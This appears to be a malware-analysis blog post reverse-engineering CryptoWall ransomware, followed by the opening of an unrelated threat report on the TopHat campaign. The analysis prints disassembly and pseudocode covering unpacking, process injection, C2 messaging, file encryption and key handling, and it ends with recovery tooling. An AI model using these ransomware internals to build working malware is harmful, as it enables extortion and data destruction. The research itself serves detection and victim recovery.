SHA256: 823e21ffecc10c57a31f63d55d0b93d4b6db150a087a92b8d0e1cb5a38fb3a5f
SHA1: 5c482bb8623329d4764492ff78b4fbc673b2ef23
SHA256: cc7ac31689a392a2396f4f67d3621e65378604b16a2420ffc0af1e4b969c6689
SHA1: bd8d0143ec75ef4c369f341c2786facbd9f73256
SHA256: dede24bf27fc34403c03661938f21d2a14bc50f11297d415f6e86f297c3c3504
SHA1: 5a5738e2ec8af9f5400952be923e55a5780a8c55
SHA256: 6f9cae7f18f0ee84e7b21995a597b834a7133277637b696ba5b8eea1d4ad7af1 |
# Genetic Analysis of CryptoWall Ransomware
A strain of Crowti ransomware emerged, the variant known as CryptoWall, was spotted by researchers in early 2013. Ransomware by nature is extraordinarily destructive, but this one in particular was a bit beyond that. Over the next 2 years, with over 5.25 billion files encrypted and 1 million+ systems infected, this virus has definitely made its mark in the pool of cyber weapons. Below you can find a list of the top ten infected countries:
Source: Dell Secure Works
CryptoWall is distinct in that its campaign ID initially gets sent back to their C2 servers for verification purposes. The motivation behind these IDs is to track samples by the loader vectors. The one we will be analyzing in our laboratory experiment has the crypt1 ID that was first seen around February 26th, 2014. The infection vector is still unknown today, but we will be showing how to unpack the loader and extract the main ransomware file. Some of the contagions have been caused by Drive-by downloads, Cutwail/Upatre, Infinity/Goon exploit kit, Magnitude exploit kit, Nuclear exploit kit/Pony Loader, and Gozi/Neverquest.
## Initial Analysis
We will start by providing the hash of the packed loader file:
```
➜ CryptoWall git:(master) openssl md5 cryptowall.bin
MD5(cryptowall.bin)= 47363b94cee907e2b8926c1be61150c7
```
Running the file command on the bin executable, we can confirm that this is a PE32 executable (GUI) Intel 80386, for MS Windows. Similar to the analysis we did on Cozy Bear’s Beacon Loader, we will be using IDA Pro as our flavor of disassembler tools. Loading the packed executable into our control flow graph view, it becomes apparent fairly quickly that this is packed loader code, and the real CryptoWall code is hiding somewhere within.
Checking the resource section of this binary only shows that it has two valid entries; the first one being a size of 91,740 bytes. Maybe we will get lucky and the hidden PE will be here? Unfortunately not! This looks like some custom base64 encoded data that will hopefully get used later somewhere down the line in our dissection of the virus. If we scroll down to the end of WinMain(), you’ll notice a jump instruction that points to EAX. It will look something like this in the decompiler view:
```
JUMPOUT(eax=decrypted_code_segment);
```
## Unpacking Binary Loaders
At this point, we have to open up a debugger and view this area of code as it is being resolved dynamically. What you will want to do is set a breakpoint at 0x00402dda, which is the location of the jmp instruction. Once you hit this breakpoint after continuing execution, you’ll notice EAX now points to a new segment of code. Dumping EAX in the disassembler will lead you to the 2nd stage loader. Use the debugger’s step into feature, and our instruction pointer should be safely inside the decrypted loader area.
Let’s go over what is happening at this stage of the malware. EBP+var_EA6E gets loaded effectively into EDX, EAX then holds the index count incrementer to follow the next few bytes at data address 302C9AEh.
```
.data:0302CA46 mov bl, byte ptr (loc_302C9AE - 302C9AEh)[eax].
.data:0302CA48 add ebx, esi.
.data:0302CA4A mov [edx], bl
```
All this snippet of code is doing is loading bytes from the address mentioned above and storing it at bl (the lower 8 bits of EBX). The byte from bl is then moved into the pointer value of EDX. At the end of this routine, EBP+var_EA6E will hold a valid address that gets called as EAX. Stepping into EAX will now bring us to the third stage of the loading process.
A lot is going on at this point; this function has a couple thousand lines of assembly to go over, so at this point, it’s better we open the decompiler view to see what is happening. After resolving some of the strings on the stack, there is some key information that starts to pop up on the resource section we viewed earlier.
```
pLockRsrc = GetProcAddress(kernel32, &LockResource);
pSizeofResource = GetProcAddress(kernel32, &SizeofResource);
pLoadResource = GetProcAddress(kernel32, &LoadResource);
pGetModuleHandle = GetProcAddress(kernel32, &GetModuleHandleA);
pFindRsrc = GetProcAddress(kernel32, &FindResourceA);
pVirtualAlloc = GetProcAddress(kernel32, &VirtualAlloc);
```
The malware is loading all functions dynamically that have to do with our resource section. After the data gets loaded into memory, CryptoWall begins its custom base64 decoding technique and then continues to a decryption method as seen below.
Most of what is happening here can be explained in a decryptor I wrote that resolves the shellcode from the resource section. If you head over to the python script, you’ll notice the custom base64 decoder is fairly simple. It will use a hardcoded charset and check to see if any of the bytes from the resource section match a byte from the charset; if it is a match, it breaks from the loop. The next character gets subtracted by one and compared to a value of zero; if greater, it will take that value and modulate by 256; that byte will then get stored in a buffer array. It will perform this in a loop 89,268 times, as that is the size of the encoded string inside the resource section.
Secondary to this, another decryption process starts on our recently decoded data from the algorithm above. Looking at the python script again, we can see that hardcoded XOR keys were extracted in the debugger if you set a breakpoint inside the decryption loop. All that is happening here is each byte is getting decrypted by a rotating three-byte key. Once the loop is finished, the code will return the address of the decrypted contents, which essentially just contains an address to another subroutine:
```
loop: buffer = *(base_addr + idx) - (*n ^ (&addr + 0xFFE6DF5F + idx));
*(base_addr + idx++) = buffer;
…Fourth_Stage_Loader = base_addr;
return (&Fourth_Stage_Loader)(buffer, b64_decoded_str, a1);
```
The base_addr transfers data to another variable that we named Fourth_Stage_Loader which holds the address of the newest function and can be used as a caller. If we dump the address at call dword ptr gs:(loc_1920A1–1920A1h)[eax] into memory, you’ll see bytes that start with a generic x86 function prologue like 55 8b ec 81. Dump this to a file, and we can actually emulate this shellcode. In doing so, we don’t have to step through all this code in the debugger; instead, it will hopefully tell us how to unpack and get to the main CryptoWall file.
An easy way to see what this next stage in the malware’s loader is doing is by using one of my favorite shellcode emulator tools called ScDbg. By using this tool, we can figure out exactly where we need to set our breakpoints in order to get to the main ransomware file. We are going to look for calls such as VirtualAlloc, WriteProcessMemory, CreateProcessA, etc.
```
C:\> scdbg.exe /s 3200000 /bp WriteProcessMemory /f dump.bin
Loaded 10587 bytes from file extractions/pe_process_injector_dump.bin
Breakpoint 0 set at 7c802213
Initialization Complete..
Max Steps: 3200000
Using base offset: 0x401000
4011cf GetProcAddress(LoadLibraryA)
40165f GetProcAddress(VirtualAlloc)
401c46 GetProcAddress(GetCurrentProcessId)
401c52 GetCurrentProcessId() = 29...
401d46 CloseHandle(18be)
401f40 VirtualAlloc(base=0 , sz=20400) = 600000
4021e1 VirtualAllocEx(pid=1269, base=400000 , sz=25000) = 621000
```
Interesting… it looks like the malware is allocating memory to its own process by using GetCurrentProcessId() and allocating a large enough space to inject a PE file into itself. After memory allocation, CryptoWall injects the payload file twice, once for the header, and the second time for the rest of the file. If you set a breakpoint at WriteProcessMemory, and continue execution twice, you can dump the second argument (ECX) on the stack to see the hidden PE file.
There is an Anti-VM trick along the way in the 3rd stage part of the loader process that needs to be patched in order to hit the injection process, so I wrote an x32Dbg python plugin to help automate the patching and dumping operation.
## Reversing the Main Crypto Binary
CryptoWall’s entry point starts off by dynamically resolving all imports to obtain all of NTDLL’s offsets by using the process environment block. It will then call a subroutine that is responsible for using the base address of the loaded DLL and uses many hardcoded DWORD addresses to locate hundreds of functions.
After the function returns, the malware will proceed to generate a unique hash based on your system information, the resulting string will be MD5 hashed:
```
DESKTOP-QR18J6QB0CBF8E8
Intel64 Family 6 Model 70 Stepping 1, GenuineIntel
```
After computing the hash, it will setup a handle to an existing named event object with the specified desired access that will be called as \\BaseNamedObjects\\C6B359277232C8E248AFD89C98E96D65. The main engine of the code starts a few routines after the malware checks for system information, events, anti-vm, and running processes.
Most of the time the ransomware will successfully inject its main thread into svchost and not explorer; so let’s follow that trail. Since this is a 32-bit binary, it’s going to attempt to find svchost.exe inside of SysWOW64 instead of System32. After successfully locating the full path, it will create a new thread using the RtlCreateUserThread() API call. Once the thread is created, NtResumeThread() will be used on the process to start the ransomware_thread code. Debugging these types of threads can be a little convoluted, and setting breakpoints doesn’t always work.
```
.text:00416F40 ransomware_thread proc near
.text:00416F40 start+86↓o.
.text:00416F40 var_14 = dword ptr -14h.
.text:00416F40 var_10 = dword ptr -10h.
.text:00416F40 var_C = dword ptr -0Ch.
.text:00416F40 var_8 = dword ptr -8.
.text:00416F40 var_4 = dword ptr -4.
.text:00416F40 000 push ebp.
.text:00416F41 004 mov ebp, esp.
.text:00416F43 004 sub esp, 14h.
.text:00416F46 018 call ResolveImportsFromDLL...
```
Using x32Dbg, you can set the EIP to address 0x00416F40 since this thread is not resource dependent on any of the other code that has been executed up until this point; this thread even utilizes the ResolveImportsFromDLL function we saw in the beginning of the program’s entry point… meaning, the forced instruction pointer jump will not damage the integrity of the ransomware.
```
isHandleSet = SetSecurityHandle();
if ( isHandleSet && SetupC2String() ) {
v8 = 0;
v6 = 0;
IsSuccess = WhichProcessToInject(&v8, &v6);
if ( IsSuccess ) {
IsSuccess = StartThreadFromProcess(-1, InjectedThread, 0, 0, 0);
FreeVirtualMemory(v8);
}
}
```
The thread will go through a series of configurations that involve setting up security attributes, MD5 hashing the hostname of the infected system, and then searching to either inject new code into svchost or explorer. In order to start a new thread, the function WhichProcessToInject will query the registry path and check permissions on what key values the malware has access to. Once chosen, the InjectedThread process will resume. Stepping into that thread, we can see the module size is fairly small.
```
.text:00412E80 InjectedThread proc near
.text:00412E80 ; DATA
.text:00412E80 000 push ebp.
.text:00412E81 004 mov ebp, esp.
.text:00412E83 004 call MainInjectedThread.
.text:00412E88 004 push 0.
.text:00412E8A 008 call ReturnFunctionName.
.text:00412E8F 008 mov eax, [eax+0A4h].
.text:00412E95 008 call eax.
.text:00412E97 004 xor eax, eax.
.text:00412E99 004 pop ebp.
.text:00412E9A 000 retn.
.text:00412E9A InjectedThread endp
```
At address 0x00412E83, a subroutine gets called that will bring the malware to start the next series of functions that involves the C2 server configuration callback and the encryption of files. After the thread is finished executing, EAX resolves a function at offset +0x0A4 which will show RtlExitUserThread being invoked. Once we enter MainInjectedThread, you’ll notice the first function at 0x004011B40 is giving us the first clue of how the files will be encrypted.
```
.text:00411D06 06C push 0F0000000h.
.text:00411D0B 070 push 1.
.text:00411D0D 074 lea edx, [ebp+reg_crypt_path].
.text:00411D10 074 push edx.
.text:00411D11 078 push 0.
.text:00411D13 07C lea eax, [ebp+var_8].
.text:00411D16 07C push eax.
.text:00411D17 080 call ReturnFunctionName.
.text:00411D1C 080 mov ecx, [eax+240h].
.text:00411D22 080 call ecx ; CryptAcquireContext
```
CryptAcquireContext is used to acquire a handle to a particular key container within a particular cryptographic service provider (CSP). In our case, the CSP being used is Microsoft\Enhanced\Cryptographic\Provider\V1, which coincides with algorithms such as DES, HMAC, MD5, and RSA.
Once the CryptoContext is populated, the ransomware will use the MD5 hash created to label the victim’s system information and register it as a key path as such → software\\C6B359277232C8E248AFD89C98E96D65. The ransom note is processed by a few steps. The first step is to generate the TOR addresses which end up resolving four addresses:
- http[:]//torforall[.]com
- http[:]//torman2[.]com
- http[:]//torwoman[.]com
- http[:]//torroadsters[.]com
These DNS records will be used later on to inject into the ransomware HTML file. Next, the note gets produced by the use of the Win32 API function, RtlDecompressBuffer, to decompress the data using COMPRESSION_FORMAT_LZNT1. The compressed ransom note can be found in the .data section and consists of 0x52B8 bytes.
Decompressing the note is kind of a mess in python as there is no built-in function that is able to do LZNT1 decompression. You can find the actual call at address 0x004087F3.
```
.text:004087CF 024 lea ecx, [ebp+var_8].
.text:004087D2 024 push ecx.
.text:004087D3 028 mov edx, [ebp+arg_4].
.text:004087D6 028 push edx.
.text:004087D7 02C mov eax, [ebp+arg_6].
.text:004087DA 02C push eax.
.text:004087DB 030 mov ecx, [ebp+var_18].
.text:004087DE 030 push ecx.
.text:004087DF 034 mov edx, [ebp+var_C].
.text:004087E2 034 push edx.
.text:004087E3 038 movzx eax, [ebp+var_12].
.text:004087E7 038 push eax.
.text:004087E8 03C call ReturnFunctionName.
.text:004087ED 03C mov ecx, [eax+178h].
.text:004087F3 03C call ecx
```
After the function call, uncompressed_buffer will be a data filled pointer to a caller-allocated buffer (allocated from a paged or non-paged pool) that receives the decompressed data from CompressedBuffer. This parameter is required and cannot be NULL, which is why there is an NtAllocateVirtualMemory() call to this parameter before being passed to decompression. The script I wrote will grab the compressed data from the PE file, and run a LZNT1 decompression algorithm then place the buffer in an HTML file. The resulting note will appear on the victim's system as such:
Once the note is decompressed, the HTML fields will be populated with multiple TOR addresses at subroutine sub_00414160(). The note is stored in memory then follows a few more checks before the malware sends its first C2 POST request. Stepping into SendRequestToC2 which is located at 0x00416A50, the first thing we notice is a buffer being allocated 60 bytes of memory.
```
.text:00416A77 018 push 3Ch.
.text:00416A79 01C call AllocateSetMemory.
.text:00416A7E 01C add esp, 4.
.text:00416A81 018 mov [ebp+campaign_str], eax
```
All this information will eventually help us write a proper fake C2 server that will allow us to communicate with the ransomware since CryptoWall’s I2P servers are no longer active. Around address 0x004052E0, which we labeled EncryptData_SendToC2 will be responsible for taking our generated campaign string and sending it as an initial ping.
If you set a breakpoint at this function, you can see what the parameter contains:
```
{1|crypt1|C6B359277232C8E248AFD89C98E96D65}
```
Once inside this module, you'll notice three key functions; one responsible for byte swapping, a key scheduling algorithm, and the other doing the actual encryption. The generated RC4 encryption will end up as a hash string:
```
85b088216433863bdb490295d5bd997b35998c027ed600c24d05a55cea4cb3deafdf4161e6781d2cd9aa24
```
## Command & Control Communication
The malware sets itself up for a POST request to its I2P addresses that cycle between proxy1–1–1.i2p & proxy2–2–2.i2p. The way this is done is by using the function at 0x0040B880 to generate a random seed based on epoch time, and use that to create a string that ranges from 11 to 16 bytes. This PRNG (Pseudo-Random Number Generator) string will be used as the POST request’s URI and as the key used in the byte swapping function before the RC4 encryption.
To give us an example, if our generated string results in tfuzxqh6wf7mng, then after the function call, that string will turn into 67ffghmnqtuwxz. That string gets used for a 256-generated key scheduling algorithm, and the POST request (I.E., http://proxy1–1–1.i2p/67ffghmnqtuwxz).
The next part will take this byte swapped key, then RC4 encrypt some campaign information that the malware has gathered, which unencrypted, will look like this:
```
{1|crypt1|C6B359277232C8E248AFD89C98E96D65|0|2|1||55.59.84.254}
```
This blob consists of the campaign ID, an MD5 hashed unique computer identifier, a CUUID, and the victim's public IP address. After preparation of this campaign string, the ransomware will begin to resolve the two I2P addresses. Once CryptoWall sends its first ping to the C2 server, the malware expects back an RC4 encrypted string, which will contain a public key used to encrypt all the files on disk. The malware has the ability to decrypt this string using the same RC4 algorithm from earlier, and will parse the info from this block:
```
{216|1pai7ycr7jxqkilp.onion|[pub_key]|US|[unique_id]}
```
The onion route is for the ransom note, and is a personalized route that the victim can enter using a TOR browser. The site most likely contains further instructions on how to pay the ransom.
Since the C2 servers are no longer active; in order to actually know what our fake C2 server should send back to the malware; the parser logic had to be carefully dissected which is located at 0x00405203. In this block, the malware decrypts the data it received from the C2 server. Once decrypted, it stores the first byte in ECX and compares hex value to 0x7B (char: ‘{’). Tracing this function call to the return value, the string returned back will remove brackets from start to end. At memory address 0x00404E69, a DWORD pointer at eax+2ch holds our newly decrypted and somewhat parsed string, that will be checked for a length greater than 0. If the buffer holds weight, we move on over to the final processing of this string routine at 0x00404B00, that I dubbed ParseC2Data(). This function takes four parameters, char* datain, int datain_size, char *dataout, int dataout_size. The first blob on datain data gets parsed from the first 0x7C (char: ‘|’) and extracts the victim id.
```
victim_id = GetXBytesFromC2Data(decrypted_block_data_from_c2, &hex_7c, &ptr_to_data_out);
```
ptr_to_data_out and EAX will now hold an ID number of 216 (we got that number since we placed it there in our fake C2). The next block of code will finish the rest of the data:
```
while ( victim_id ) {
if ( CopyMemoryToAnotherLocation(&some_buffer_to_copy_too, 8 * idx + 8) ) {
CopyBlocksofMemory(victim_id, &some_buffer_to_copy_too[2 * idx + 1], &some_buffer_to_copy_too[2 * idx]);
++idx;
if ( ptr_to_data_out ) {
for ( i = 0; *(i + ptr_to_data_out) == 0x7C; ++i ) {
if ( CopyMemoryToAnotherLocation(&some_buffer_to_copy_too, 8 * idx + 8) ) {
++v9;
++idx;
}
}
}
}
victim_id = GetXBytesFromC2Data(0, &hex_7c_0, &ptr_to_data_out);
++v5;
++v9;
}
```
What’s happening here is that by every iteration of the character ‘|’ we grab the next chunk of data and place it in memory into some type structure. The data jumps X amount of times per loop until it reaches the last 0x7C byte. It will loop a total of four times. After this function returns, dataout will contain a pointer in memory to this local type, which we reversed to look like this:
```c
struct _C2ResponseData {
int victim_id;
char *onion_route;
const char *szPemPubKey;
char country_code[2];
char unique_id[4];
};
```
Shortly after, there is a check to make sure the victim id generated is no greater than 0x3E8 or that it is not an unsigned value.
```
value_of_index = CheckID(*(*parsed_data_out->victim_id));
if ( value_of_index > 0x3E8 || value_of_index == 0xFFFFFFFF )
value_of_index = 0x78;
```
I believe certain malware will often perform these checks throughout the parsing of the C2 response server to make sure the data being fed back is authentic. Over at 0x00404F35, there is another check to see how many times it tried to reach the command server. If the check reaches exactly 3 times then it will move to check if the onion route is valid; all CryptoWall variants hardcode the first string index with ascii ‘1’. If it does not start with this number, then it will try to reach back again for a different payload. The other anti-tamper check it makes for the onion route is a CRC32 hash against the payload; if the compressed route does not equal 0x63680E35, the malware will try one last time to compare against the DWORD value of 0x30BBB749. The variant has two hardcoded 256 byte arrays to which it compares the encrypted values against. Brute-forcing can take a long time but is possible with a python script that I made here. The checksum is quite simple; it will take each letter of the site string and logical-XOR against an unsigned value:
```
tmp = ord(site[i]) ^ (ret_value & 0xffffff)
```
It will take the tmp value and use it as an index in the hardcoded byte array to perform another logical-XOR against:
```
ret_value = bytes_array[tmp*4:(tmp*4)+4] ^ (0xFFFFFFFF >> 8)
```
The return value then gets inverted giving us a 4 byte hash to verify against. Now the malware moves on over to the main thread responsible for encrypting the victim's files at 0x00412988. The first function call in this thread is from CryptAcquireContextW, and 16 bytes will then be allocated to the stack using VirtualAlloc; which will be the buffer to the original key.
```
isDecompressed = CreateTextForRansomwareNote(0, 0, 0);
if ( !isRequestSuccess || !isDecompressed ) {
remaining_c2_data = 0;
while ( 1 ) {
isRequestSuccess = SecondRequestToC2(&rsa_key, &rsa_key_size, &remaining_c2_data);
if ( isRequestSuccess )
break;
sleep(0x1388u);
}
}
```
Once the text for the ransom note is decompressed, CryptoWall will place this note as an HTML, PNG, and TXT file inside of every directory the virus went through to encrypt documents. After this point, it will go through another round of requests to the I2P C2 servers to request another RSA 2048-bit public key. This key will be the one used for encryption. This strain will do a number of particular hardcoded hash checks on the data it gets back from the C2.
## Decoding the Key
CryptoWall will use basic Win32 Crypto functions like CryptStringToBinaryA, CryptDecodeObjectEx, & CryptImportPublicKeyInfo to decode the RSA key returned. Then it will import the public key information into the provider which then returns a handle of the public key. After importing is finished, all stored data will go into a local type structure like this:
```c
struct _KeyData {
char *key;
int key_size;
BYTE *hash_data_1;
BYTE *hash_data_2;
};
```
The next actions the malware takes is pretty basic for ransomware; it will loop through every available drive and use GetDriveTypeW to determine whether a disk drive is a removable, fixed, CD-ROM, RAM disk, or network drive. In our case, the C drive is the only open drive which falls under the category of DRIVE_FIXED. CryptoWall will only check if the drive is CD-ROM because it will not try to spread in that case.
```
.text:00412C1B mov ecx, [ebp+driver_letter].
.text:00412C1E push ecx.
.text:00412C1F call GetDriveTypeW.
.text:00412C2C cmp eax, 5.
.text:00412C2F jz skip_drive
```
EAX holds the integer value returned from the function call which represents the type of drive associated with that number (5 == DRIVE_CDROM).
The exciting part is near as we are about to head over to where the malware duplicates the key it retrieved from our fake C2 server at address 0x00412C7A. What is happening here is pretty straightforward, and we can show in pseudo-code:
```
if (OriginalKey) {
DuplicatedKey = HeapAlloc(16);
if (DuplicatedKey) {
CryptDuplicateKey(OriginalKey, 0, 0, DuplicatedKey);
memcpy(DuplicatedKey, OriginalKey, OriginalKey_size);
CryptDestroyKey(OriginalKey);
}
}
```
Essentially, CryptDuplicateKey is making an exact copy of a key and the state of the key. The DuplicatedKey variable ends up becoming a struct as we can see after the function call at 0x00412C7A, it gets used to store volume information about the drive it's currently infecting.
```
GetVolumeInformation(driver_letter, DuplicatedKey + 20);
if ( MoveDriverLetterToDupKeyStruct(driver_letter, (DuplicatedKey + 16), 0) ) {
...
}
```
Now we can define our struct from what we know so far:
```c
struct _DupKey {
const char *key;
int key_size;
DWORD unknown1;
DWORD unknown2;
char *drive_letter;
LPDWORD lpVolumeSerialNumber;
DWORD unknown3;
};
```
## Encrypting of Files
After the malware is finished storing all pertinent information regarding how and where it will do its encryption, CryptoWall moves forward to the main encryption loop at 0x00416780.
The control flow graph is fairly long in this subroutine, but nothing out of the ordinary when it comes to ransomware. A lot has to be done before encrypting files. At the start of this function, we see an immediate call to HeapAlloc to allocate 260 bytes of memory. We can automatically assume this will be used to store the file’s absolute path, as Windows OS only allows a max of 260 bytes. Upon success, there is also an allocation of virtual memory with a size of 592 bytes that will later be used as the file buffer contents. Then the API call FindFirstFileW uses this newly allocated buffer to store the first filename found on the system. The pseudo-code below will explain the flow:
```
lpFileName = Allocate260BlockOfMemory(); // HeapAlloc
if ( lpFileName ) {
(*(wcscpy + 292))(lpFileName, driver_letter);
...
lpFindFileData = AllocateSetMemory(592); // VirtualAlloc
if ( lpFindFileData ) {
hFile = (*(FindFirstFileW + 504))(lpFileName, lpFindFileData);
if ( hFile != 0xFFFFFFFF ) {
v29 = 0;
do {
// Continue down to further file actions
```
Before the malware opens up the first victim file, it needs to make sure the file and file extension themselves are not part of their hardcoded blacklist of bytes. It does this check using a simple CRC-32 hash check. It will take the filename and extension, compress it down to a DWORD, then compare that DWORD to a list of bytes that live in the .data section.
To see how the algorithm works, I reversed it to python code, and wrote my own file checker.
```
➜ python tor_site_checksum_finder.py --check-file-ext "dll"
[!] Searching PE sections for compressed .data
[!] Searching PE sections for compressed extension .data
[-] '.dll' is not a valid file extension for Cryptowall
➜ python tor_site_checksum_finder.py --check-file-ext "py"
[!] Searching PE sections for compressed .data
[!] Searching PE sections for compressed extension .data
[+] '.py' is a valid file extension for Cryptowall
```
Now we can easily tell what type of files CryptoWall will attack. Obvious extensions like .dll, .exe, and .sys are very common file types for ransomware to avoid.
If the file passes these two checks, then it moves on over to the last part of the equation; the actual encryption located at 0x00412260. We can skip the first few function calls as they are not pertinent to what is about to happen. If you take a look at address 0x00412358, there is a subroutine that takes in three parameters; a file handle, our DuplicateKeyStruct, and a file size. Stepping into the function, we can immediately tell what is happening:
```
if(ReadFileA(hFile, lpBuffer, DuplicateKeyStruct->file_hash_size, &lpNumberOfBytesRead, 0) && lpNumberOfBytesRead == DuplicateKeyStruct->file_hash_size) {
if(memcmp(lpBuffer, DuplicateKeyStruct->file_hash, DuplicateKeyStruct->file_hash_size)) {
isCompare = 1;
}
}
```
The pseudo-code is telling us that if an MD5 hash of the file is present in the header, then it's already been encrypted. If this function returns isCompared to be true, then CryptoWall moves on to another file and will leave this one alone. If it returns false from the Compare16ByteHeader() function call, the malware will append to the file’s extension by using a simple algorithm to generate a three-lettered string to place at the end. The generation takes a timestamp, uses it as a seed, and takes that seed to then mod the first three bytes by 26 then added to 97.
```
*(v8 + 2 * i) = DataSizeBasedOnSeed(0, 0x3E8u) % 26 + 97;
```
This is essentially a rotation cipher, where you have a numerical variable checked by a modulate to ensure it doesn’t go past alphanumeric values, then the addition to 97 rotates the ordinal 45 times. As an example, if we have the letter ‘A’, then after this cipher, it ends up becoming an ’n’. In conclusion, if the victim file is named hello.py, this subroutine will rename it to hello.py.3xy.
Next, around address 0x004123F0, the generation of an AES-256 key begins with another call to Win32’s CryptAcquireContextW. The phProv handler gets passed over to be used in CryptGenKey and CryptGetKeyParam.
```
if ( CryptGenKey(hProv, 0x6610, 1, &hKey) ) {
pbData_1 = 0;
pdwDataLen_1 = 4;
if ( CryptGetKeyParam(hKey, 8, &pbData_1, &pdwDataLen_1, 0, 4) )
```
The hexadecimal value of 0x6610 shown above tells us that the generated key is going to be AES-256 as seen in MS-DOCS. Once the hKey address to which the function copies the handle of the newly generated key is populated, CryptGetKeyParam will be used to make the key and transfer it into pbData; a pointer to a buffer that receives the data. One last call in this function we labeled as GenerateAESKey() gets called which is CryptExportKey. This will take the handle to the key to be exported and pass it the function, and the function returns a key BLOB. The second parameter of the GenerateAESKey() will hold the aes_key.
The next call is one of the most important ones to understand how eventually we can decrypt the files that CryptoWall infected. EncryptAESKey() uses the pointer to DuplicateKeyStruct->rsa_key to encrypt our AES key into a 256 byte blob. Exploring inside this function call is fairly simple; it uses CryptDuplicateKey and CryptEncrypt to take our public RSA 2048-bit key from earlier, our newly generated AES key to duplicate both keys to save for later, and encrypt the buffer. The fifth parameter is our data out in this case and once the function returns, what we labeled as encrypted_AESkey_buffer will hold our RSA encrypted key.
At around address 004124A5, you will see two calls to WriteFileA. The first call will move the 16 byte MD5 hash at the top of the victim file, and the second call will write out the 256 bytes of encrypted key buffer right below the hash.
The picture above shows what an example file will look like up until this stage of the infection. The plaintext is still intact, but the headers now hold the hash of the file and the encrypted AES key used to encrypt the plaintext in the next phase. ReadFileA will shortly get called at 0x0041261B, which will read out everything after the header of the file to start the encryption process.
Now that 272 bytes belong to the header, anything after that we can assume is free range for the next function to deal with. We don’t really need to deep dive too much into what DuplicateAESKey_And_Encrypt() does as it is pretty self-explanatory. The file contents are encrypted using the already generated AES key from above that was passed into the HCRYPTKEY *hKey variable. The sixth parameter of this function is the pointer which will contain the encrypted buffer. At this point, the ransomware will replace the plaintext with an encrypted blob, and the AES key is freed from memory.
## Example of a fully encrypted file
After the file is finished being processed, the loop will continue until every allow listed file type on disk is encrypted.
## Decrypting Victim Files
Unfortunately, in this case, it is only possible to write a decryption algorithm if you know the private key used which is generated on the C2 side. This is going to be a two-step process as in order to decrypt the file contents, we need to decrypt the AES key that has been RSA encrypted.
The fake C2 server I wrote also includes an area where a private key is generated at the same time that the public key is generated. So in my case, all encrypted files on my VM are able to be decrypted.
In order to run this C2 server, you have to place the malware’s hardcoded I2P addresses in /etc/hosts on Windows. Then make sure the server has started before executing the malware as there will be a lot of initial verification going back and forth between the malware and ‘C2’ to ensure its legitimacy. Your file should look like this:
```
127.0.0.1 proxy1-1-1.i2p
127.0.0.1 proxy2-2-2.i2p
```
Another reason why we run the fake C2 server before executing the malware is so we don’t end up in some deadlock state. The output from our server will look something like this:
```
C:\CryptoWall\> python.exe fake_c2_i2p_server.py
* Serving Flask app "fake_c2_server" (lazy loading)
127.0.0.1 - - [31/Mar/2020 15:10:06] "GET / HTTP/1.1" 404 -
Data Received from CryptoWall Binary:
------------------------------
[!] Found URI Header: 93n14chwb3qpm
[+] Created key from URI: 13349bchmnpqw
[!] Found ciphertext:
ff977e974ca21f20a160ebb12bd99bd616d3690c3f4358e2b8168f54929728a189c8797bfa12cfa031ee9c
[+] Recovered plaintext:
b'{1|crypt1|C6B359277232C8E248AFD89C98E96D65|0|2|1||55.59.84.254}'
[+] Sending encrypted data blob back to cryptowall process
```
Step by step, the first thing we have to do is write a program that imports the private key file. I used C++ for this portion because for the life of me I could not figure out how to mimic the CryptDecodeObjectEx API call that decodes the key in a X509_ASN_ENCODING and PKCS_7_ASN_ENCODING format. Once you have the key blob from this function, we can use this function as the malware does and call CryptImportKey, but this time it is a private key and not a public key. Since the first 16 bytes of the victim file contains the MD5 hash of the unencrypted file, we know we can skip that part and focus on the 256 bytes after that part of the header. The block size is going to be 256 bytes and AES offset will be 272, since that will be the last byte needed in the cryptographic equation. Once we get the blob, it is now okay to call CryptDecrypt and print out the 32 byte key blob:
```
if (!CryptDecrypt(hKey, NULL, FALSE, 0, keyBuffer, &bytesRead)) {
printf("[-] CryptDecrypt failed with error 0x%.8X\n", GetLastError());
return FALSE;
}
printf("[+] Decrypted AES Key => ");
for(int i = 0; i < bytesRead; i++) {
printf("%02x", keyBuffer[i]);
}
```
You can find the whole script here. Now that we are halfway there and we have an AES key, the last thing to do is write a simple python script that will take that key/encrypted file and decrypt all remaining contents of it after the 272nd byte.
```
enc_data_remainder = file_data[272:]
cipher = AES.new(aes_key, AES.MODE_ECB)
plaintext = cipher.decrypt(enc_data_remainder)
```
The script to perform this action is in the same folder on Github. If you want to see how the whole thing looks from start to finish, it will go like this:
```
➜ decrypt_aes_key.exe priv_key_1.pem loveme.txt
[+] Initialized crypto provider
[+] Successfully imported private key from PEM file
[!] Extracted encrypted AES keys from file
[+] Decrypted AES Key =>
08020000106600002000000040b4247954af27637ce4f7fabfe1ccfc6cd55fc724caa840f82848ea4800b3
[+] Successfully decrypted key from file
➜ python decrypt_file.py loveme.txt
40b4247954af27637ce4f7fabfe1ccfc6cd55fc724caa840f82848ea4800b320
[+] Decrypting file
[+] Found hash header => e91049c35401f2b4a1a131bd992df7a6
[+] Plaintext from file:
b'"hello world" \r\n'
```
## Conclusion
Overall, this was one of the biggest leading cyber threats back in 2013, and the threat actors behind this malicious virus have shown their years of experience when it comes to engineering a ransomware such as this. Although this ransomware is over 6 years old, it still fascinated me so much to reverse engineer this virus that I wanted to share all the tooling I have written for it. Every step of the way, there was another challenge to overcome, whether it was knowing what the malware expected the encrypted payload to look like coming back from the C2, figuring out how to decrypt their C2 I2P servers using RC4, decompressing the ransomware note using some hard to mimic LZNT1 algorithm, or even understanding their obscure way of generating domain URI paths… it was all around a gigantic puzzle for a completionist engineer like myself.
Here is the repository that contains all the programs I wrote that helped me research CryptoWall.
Thank you for following along! I hope you enjoyed it as much as I did. If you have any questions on this article or where to find the challenge, please DM me at my Instagram: @hackersclub or Twitter: @ringoware.
Happy Hunting :) |
# The TopHat Campaign: Attacks Within The Middle East Region Using Popular Third-Party Services
By Josh Grunzweig
January 26, 2018
## Summary
In recent months, Palo Alto Networks Unit 42 observed a wave of attacks leveraging popular third-party services Google+, Pastebin, and bit.ly. Attackers used Arabic language decoy documents related to current events within the Palestinian Territories as lures to entice victims to open and subsequently be infected by the malware. There is data indicating that these attacks are targeting individuals or organizations within the Palestinian Territories, which is detailed later.
The attacks themselves are deployed via four different means, two involving malicious RTF files, one involving self-extracting Windows executables, and the final using RAR archives.
